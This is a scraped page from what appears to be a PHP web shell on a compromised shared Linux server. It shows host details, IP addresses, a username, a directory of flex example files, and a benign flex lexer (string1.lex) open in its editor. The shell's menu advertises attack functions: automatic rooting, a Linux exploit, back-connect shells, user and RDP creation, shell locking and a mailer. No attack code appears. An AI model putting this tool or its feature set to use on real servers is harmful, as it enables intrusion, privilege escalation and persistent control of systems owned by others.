Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
flex /
examples /
manual /
[ HOME SHELL ]
Name
Size
Permission
Action
ChangeLog
709
B
-rw-r--r--
Makefile
15.25
KB
-rw-r--r--
Makefile.am
1.39
KB
-rw-r--r--
Makefile.examples
1.86
KB
-rw-r--r--
Makefile.in
14.65
KB
-rw-r--r--
README
349
B
-rw-r--r--
cat.lex
849
B
-rw-r--r--
dates.lex
2.8
KB
-rw-r--r--
datetest.dat
343
B
-rw-r--r--
eof_rules.lex
1.3
KB
-rw-r--r--
eof_test01.txt
367
B
-rw-r--r--
eof_test02.txt
104
B
-rw-r--r--
eof_test03.txt
87
B
-rw-r--r--
expr.lex
619
B
-rw-r--r--
expr.y
988
B
-rw-r--r--
front.lex
1.21
KB
-rw-r--r--
front.y
2.58
KB
-rw-r--r--
j2t.lex
12.06
KB
-rw-r--r--
myname.lex
287
B
-rw-r--r--
myname.txt
170
B
-rw-r--r--
myname2.lex
443
B
-rw-r--r--
numbers.lex
4.96
KB
-rw-r--r--
pas_include.lex
1.63
KB
-rw-r--r--
pascal.lex
3.12
KB
-rw-r--r--
reject.lex
245
B
-rw-r--r--
replace.lex
529
B
-rw-r--r--
string1.lex
2.5
KB
-rw-r--r--
string2.lex
3
KB
-rw-r--r--
strtest.dat
733
B
-rw-r--r--
unput.lex
429
B
-rw-r--r--
user_act.lex
303
B
-rw-r--r--
userinit.lex
514
B
-rw-r--r--
wc.lex
2.67
KB
-rw-r--r--
yymore.lex
566
B
-rw-r--r--
yymore2.lex
720
B
-rw-r--r--
yymoretest.dat
115
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : string1.lex
/* * string1.lex: Handling strings by using input() */ %{ #include <ctype.h> #include <malloc.h> #define ALLOC_SIZE 32 /* for (re)allocating the buffer */ #define isodigit(x) ((x) >= '0' && (x) <= '7') #define hextoint(x) (isdigit((x)) ? (x) - '0' : ((x) - 'A') + 10) void yyerror(char *message) { printf("\nError: %s\n",message); } %} %% \" { int inch,count,max_size; char *buffer; int temp; buffer = malloc(ALLOC_SIZE); max_size = ALLOC_SIZE; inch = input(); count = 0; while(inch != EOF && inch != '"' && inch != '\n'){ if(inch == '\\'){ inch = input(); switch(inch){ case '\n': inch = input(); break; case 'b' : inch = '\b'; break; case 't' : inch = '\t'; break; case 'n' : inch = '\n'; break; case 'v' : inch = '\v'; break; case 'f' : inch = '\f'; break; case 'r' : inch = '\r'; break; case 'X' : case 'x' : inch = input(); if(isxdigit(inch)){ temp = hextoint(toupper(inch)); inch = input(); if(isxdigit(inch)){ temp = (temp << 4) + hextoint(toupper(inch)); } else { unput(inch); } inch = temp; } else { unput(inch); inch = 'x'; } break; default: if(isodigit(inch)){ temp = inch - '0'; inch = input(); if(isodigit(inch)){ temp = (temp << 3) + (inch - '0'); } else { unput(inch); goto done; } inch = input(); if(isodigit(inch)){ temp = (temp << 3) + (inch - '0'); } else { unput(inch); } done: inch = temp; } } } buffer[count++] = inch; if(count >= max_size){ buffer = realloc(buffer,max_size + ALLOC_SIZE); max_size += ALLOC_SIZE; } inch = input(); } if(inch == EOF || inch == '\n'){ yyerror("Unterminated string."); } buffer[count] = '\0'; printf("String = \"%s\"\n",buffer); free(buffer); } . \n %%
Close